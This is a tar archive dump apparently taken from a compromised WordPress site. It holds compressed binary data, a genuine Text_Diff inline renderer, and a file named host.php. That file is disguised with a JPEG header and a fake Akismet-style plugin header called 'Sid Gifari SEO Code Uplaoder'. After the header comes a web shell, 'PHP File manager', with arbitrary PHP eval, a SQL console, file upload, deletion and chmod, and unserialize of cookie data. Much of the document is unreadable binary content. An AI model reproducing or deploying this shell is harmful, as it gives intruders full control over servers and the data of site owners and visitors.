_>уC'-NY)/=XB"!R&TJi"7ZƆ:j'XآEJci |[o,=7ӴnjߗhJFĄR9֐7`U%tZDm\$|toiC dۋ\H]Ϝ{a*i"ԣO&֘zA@&$Fn`	ug;b%S9R{G43n|HM/x9b׮70ǆ634Jc@!@B0-H)ׁѧ_]V5PN|mࠛp@2z(Tb4z984PJtUd248U1oHf˔~E%WMPYZR)ŰA[(HP
(nյ YHJ%J/&#H*0cc`uՕ	(@*کW|%:U%l4
6V,p⃅DJ*LؔRR	@¢5=dd25z]vTj#RK@%DO(T|!	V࡯*
am_	vj17\;؎˒PI@>q5ؐGdyl:"KtŸD稗I*Pz[o=dC` ڤ<3kfaR,Q QsVHLN%'I[VQtݯ)F|F̚v >|4хq8"VfM u ~QHJҥDI,c:q9p8@S?TrX+<8~G6)#rG3X^KCZzT6Г[0hM:Z3cnvtߢ&^'@uN	;)@ju'0}Bg*Ň-O'D ]s=j'W`hb/<P8}HNqr>2ƣm@(6b-7}^w E0n@dPp&jEA̘*z_}Gp?d$c^	MH&#2e3TKZlXu15ڇ=2OU:^K0ut`J?Аp	F֠IJHẒbSf* kOh3hv:  )LTgHߌyk[3DoUhkШ&R ԁm=}H	]K[ALԈ&u4)#pdj9Mk(۔sVzҚI[3^yDYƈR]!DbvV樇h!z-^%^,GdjlZƁ^^=&I#>7Vi'4h:zĴxљZ
ņ~Rz35WLI?$I'#C|*2_|/e׿&m\                                                                                                                                                                                                                                                                                                                                                                                                                                 Renderer.tar                                                                                        0000644                 00003003000 15212004206 0007006 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       inline.php.php.tar.gz                                                                               0000644                 00000003354 15212004204 0010520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             XoFϲ%P:ЂTBPS5unܝ㴴t/~HW|M3Ig?S7Jf!\n(dNb-/tp_6'22VwWxrpod<>?>x|FW"JbdOЃwo{=N]"sm]$LFd4\	암MtR;C.a!$,9,hHɫߏ_>GXL2|Zrg'/!/`n(c@¤C,1
#.p0\~"QX'4gp#~N7#?!SYoݎ2Zlpz?xqG?*Y@Pt5_SsUdJ+k2UVhBmSzFܠ42m=pߴOʩ/7B)[BDJ*C$HL9fT9s_,޹Wy!zaQix_*̉ zb
ZR tW$"tC|<yI+6HYE9	x!eU/|BcUUkk<+aB]&VY0;]Lo1B*aSI $$le<pX^s1i) X|d1H7=TGP'˺vSH5r4YC|,g7 h8a	tG15{3C"$6	%s4' 2zjNC|t!V9R?([`#vS-KVBtvv©Vx}Gk3LL;3F,3m:
g]T@U-P=W8
Vs2Tmf0Gߍ>sCT<E\ LwE_=&t$DuvPV(R9XgJ=|k0qEs,(æ=5u!hV᰺
}ċ]oyE*GJ]R8O	N5,f1niMKU1qCm4"beMk;JF%2fwdhRW̰0}ahrIBUvm\ʇ-6)>Khs@9i4F֏M{ L^gacywߏ˺M?[QJGy-sbbLC{.3r]kQ/A0aZj[Csl3YxY/tD	3iW{*$2Y#AㅛYn凡jcuQ gWNX|zn+v$k*xPcA<#RBճovs~io޼7ĶM^$K"O0ױ}JVB[pxz<(H	+Ux"tVy`'	P	!IG?[Sꚛ-@ԒqGD./)puyJil>H^rAJ1/rx5,h\QJ)8Tj͊)˸6++%uq$tT˛yc4jTLH)rF+eF8bvއ
C#_]ʾ>F`<좆9]8b>lYYGM}h/Ը[4hI[N&{^h;"ӌ8gnlD_;zJx[ַ_/G3                                                                                                                                                                                                                                                                                       Engine.tar.gz                                                                                       0000644                 00000017075 15212004204 0007100 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:m)%˹/dwO$}!	6EjHʒ2*\$;\K P(
uCZb8Nz<>pw.?~q2,˃}>ݿgϣ ,!q8%;_$,OX0gT6H&YY>9(B{n,26p2K68ϧ{ޔ"nz٣-]{) sc*	 X <.S1Yk{wr$9;N>.;7$Z
[.^)3g_wl,g0o I̚/;~l aIR>
aVe`%t P{hmn{zhOY2q
@"<j"?i9A(ɉ۝;	|>+54E*Fȏ-7y]e갭<W|N5Z}/ц 2C|0	ˠ}<hR%)iAiW9Y21FIț0k z.r)l5nA(Fl6c9SơB̚@Yұ YBg ^]d6˒3<ńwB3	XŒ0)-RʃI-"r6)H)b(!9Mf9N|s>18,Ckcr- ֫dccK⭜+4b[܄<GIsG<gC"" |)]0`H @AZLAIG賠}a,QĀC-ZڀHƢs.p" "X0liBb x'{>T! ѱd c$A!kxܔ5x7o\B99- ;^)#A49 *wXeà/%Rtܾf5y\|bb>(<[և֦ѿœy3<1V-QLؕ_AG@di "fOIq0	DtBEn}}YДT= 06*Hm<R*HX y2pȶ~7$8bni<%Z2|HN6zᕧ-D4I,c xOLVըYr\ܦ	G	
"5MF<o^x
=vD()G _ AC0@ѮT4a.LKaq0i< Cv6)TmB]k8OJP5u})\ѓ{\BCw 82o),:hyW2Y<"Tl~WY^sƜ:jlҢY y._T|ϿB<T+rd)|n;v|<<vE43PNj~סo'A88ml)w㐴AP9ѻo^Xu2vۉ,㹪|Ƞ 2UW<]R 5Qv< *b/ lrc{0C?̂6gW+~"0,YYqXt/=T0Y6nʵҩTǿfU%夸MQR6fZhDkgU?4u&=9̔kU~wn_'V1m	r{Oz~axԯ=P+.FH͗,r2e3BxR{jOTܻNG=QY[XdY!17QWQkC.SINko:}e7/fW*+NG4N$|->
O9E%jKƀqT,r$,MΡT{=Ew3Ɉ|֜y`L,<Az}xASW
a_5
y)@^59TNM0l,dx!3C4spH(,.[oZ#g7ƁǸa<~s>2Rn }ǉ)F8)_'ֹT`h!/uhL1AbӍ)u(AXP?#q5lѥ*o"SYܒjK5K+oԋ3'ޔ9ƿyew'|ܒXCk#dʌoCX5cֲ-eHB/IXql@6͗SNSgSQ[@D ʙe Ö	+Dd쉺}E4~Zme{Pמ zVm*shtK̔!]:Ɨ+-5_&	>4٤Xm &=ROo,=`!:C^2s̬(>GaQ}ǤMLwu/)h
X`Pꀒy3%,hSrR`Spn^uR;$&:l!F
B4=]֋u}+^hqK5Ur|^i6ERfid~%)UCNFPʄUIl6tpEEȥ˅NzQ6cHZoa_5{lAfk)-. A|\l
:8;sd$w KiH{v-fSJDL3R1	,a}cY*N^VY*FMG[Z(k@Yz}u}V3̒϶TD@s1ag{{.J5lq;qex?e&V;{"%uP6EGbAIOqDZU-}ץ܀<TE\+tu[ǰ=-IW @5fd v}hQ)An]tõPVuҹ!(dFOhh_bbZV_]W3iL}.Hm|Kx#E'sY_IV9`PɁh%őTRoUҔYՏ6b-v۳
d袮Q5{JX+13_E-&=Vaq+gDXEfjW)e Q hGAG1rAU\Yއy0h^5HjԩOTe-JyǩgwfCa4N4[]i*(+NnNeԌ֙3b^Ԏⳍfe 0-tK4~z_JZ+ѡiurn-٘ZTZ6 Xe>94-XlL|@|noF<+}4~H4l7:"K˵XjK{FCƾ7[7gCOf5dxSKgy ?}|f4!`S̞	肼B2;1욢gA4JR'6IzP:i
?ӍO3V;[8WIU "<ʂ2t.`	02%뉰W3nc[aBE@xR Yt\Ľ~wvwH'a6ˀ
=!5[^X ӸVՏx5fmeۻݯ55T#\CpB]Kαg]XSBq%hVp>W~n^ K2(ǃ#Cpr`.{T\O_>;6#inHdC9 ')sN8D"Za0Et!6&/RAys6P}t-]\j/D\S)_UʢAs	CA}Vu|Ux=WE%ˢWW*؆,U*b:Q*+սZ&trH]5Josno0GΰH̸P剪nZsqBN)Ɛ_R+V(X%M=/)O~* 66|)g4\
臰=[~e fH^"Jn8(CHeV4UXնeM<8'e
?:\.fd;ʫ*2c;
ioxXciql` HVYz}i&leTd[ٴ^CBԱH}%$	B))"T(.Z%iOtmv:?ܲw)񪖪³OA:+KxnV8~<[.Yo)ܽt.rx;\T X+n\9}P5YLX0*{Y=~ntG-\Ƃwz"br˷.-`|mGS"7iQ0_ƾYcooDsZHG,1U:|v@=qzt$REƶu>LLW~)Ay/2^+^ :z.mͷs3<-K3v4_~C{,g懲. u!@h 2A]#iUeK{9j:& ZG`)$Qb%Cd\§݇1 e0D47eSEu'*laN&Qz5sm=|zo߷7Q>TܥnKqXCw%AhHrZNOԀO|}&N2)hq;	:"[g`x ..oi4
MsnY]V![^(7./#SݮS;J5eMY(
NF-"r5R~Y|YY4dʙ1$}+h\-2o-~k"/v³J߃7.|J8*gc<̓l10ElFhJ")΂QקD|LH>W/M['} GNZj{X,7âBY)DrNvNnˉ3hH]ٸmBUEj<="?󁁡jzM:SpơE}Y3-G3qX
jPST&I	:$c$Zx n^!]|N0Rl<q-c)۳\T^ZĆ_W\CAc\%a;de<~1[1*y)סk^`P,=ўz/eD}!6oTF?+s-nL]hY>r0kgkʦe~@Qyo+&إD5<Z)FŔ_di.Kj.U4WV.Osm_f|)wZ
LlzO*󅬶FbTiYJEŖS6D@_S+4Hc(4S P֒7}X;z0DlIi]U#0Ny1ڞԯHhk %!+"zn[NY|Pt6߂_4$j>mUWIJI
k՟XW60@VX#Us~LFoWc4A(ҁ~*b;Tu+42!&̅\AFo՝vD6ɬriDRn#&<ub1@RB`K!xW2 bH7̊;%FrXbBG0 NT_XI0/,:u!gQdG$4vޡ~CIp`}ú8A/.,:&	6(r`w:Ɔ"8P^UvU^[VTm}I*[ ec
NU4ʘP2p48'JhTvf4HGn\t
aPt	Mne3{^Opl,W<a$dsV_ANDr`	zQkIhvtH3C
_w+z H͆=aV`Y~iB<`
~ފ?q]Kr`R(*SOۊk`|'ko3/mXԸ.'q:Êh3묎,\Ƞ+ZrɦirG|\}*tS.e9ٯd]MiK-c\	*?OsC5JPxg!RYOo)QbDJ.s5{OfL qv bР
T,MkEqHۆ9⪯J2%6h0Nb0b3fJf_ѵPՍ AS#Jq}s$9?~wkѯ*C{ bՏnRq¨dI|"ÊSJkh+JQF4Ft#y4HS\['09;b/A<]rNw⮾8kЭr[PٲeHt/j㉗ìN.>V>]]89KȦ-+ I@y10Zv24wd˔[}\}|)XME1zcY5-h#{ɧ8<Cd;ju/*Y:@@5ӂZE1ncq˱:m(Z
;`6=$0Ip'P\V!JU5LO]z{:W*v߫, 7{8Em.GhG)xt(h}=1{xFߧB
O$\2%CG}HA!51:>?UC/0:?bb.jGd'lf\'SUX'a|Dj"ne3G%7S*/O}d^#JU~o#t%n$?z-o=~R?h᳸ECue*5ذ6e%_DLa8.	҆ΛWk"e	IeU>Lk@a^¢>PRBHqP"V[!>h2&Q>E7r:MyU6}$,mロO>+K%
ynF_>Y|Dzm|nhzsݎ~\\f3]8c;\;7M&,6d3xxb-m2hjuJ:	27Qpӗ[!<_/ϗ疞Ϛ                                                                                                                                                                                                                                                                                                                                                                                                                                                                      inline.php.tar                                                                                      0000644                 00000016000 15212004204 0007303 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/inline.php                                 0000644                 00000012630 15211651624 0021415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error_log.tar.gz                                                                                    0000644                 00000001700 15212004204 0007651 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             OO09SHcqvvBhiBnpliROY}$%?,'PyKZR?Ԣm~aVu/vuZy5.?}9t}[mjGOi$IǥLT&Ga$'4ǣ0N!>Uk.k1_exqO#M(⩸|M\|_T["eoZUZVC_A\߮hjQ\tnosuBڈf>t=ZU6EYiQUb[L|? rUM/fZ}dnEn'
BUy1?ks[	8/{!L"އ$KCxF23$z)^:`M39)>C@saLIv
QN^|j$>Cb0o(u΄ϐg:;};$k#p/h}p3씕	!	N!u9F23$)4G>8y~#p=u?o|p&Sv&|$\?;Ձ('oİSV&|$\O;ԁ('/g?;>C'/u?;>Cow$>C@sZ	!	Nq\Kꃝ7$5
>C@sv$>Cb\p~|}p&;eegHSHh}p;eggHSPh}7
0RV]LIu4G>Xx,3.&|.\VGb!wLmLӳЧI{0+B"O	l#$-ԯ	{pWycfKyq|b8r;]Z/nfu޿^k3z;da^-.aa<g~ ^                                                                  host.php.tar                                                                                        0000644                 00000242000 15212004204 0007003 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php                                   0000644                 00000236720 15211651622 0021122 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
.....................................................................................................................................<?php
/**
 * @package Akismet
 */
/*
Plugin Name: Sid Gifari SEO Code Uplaoder
Plugin URI: 
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI: 
*/

		/*  %s: Title of the post the attachment is attached to. */
		

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

?>
.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
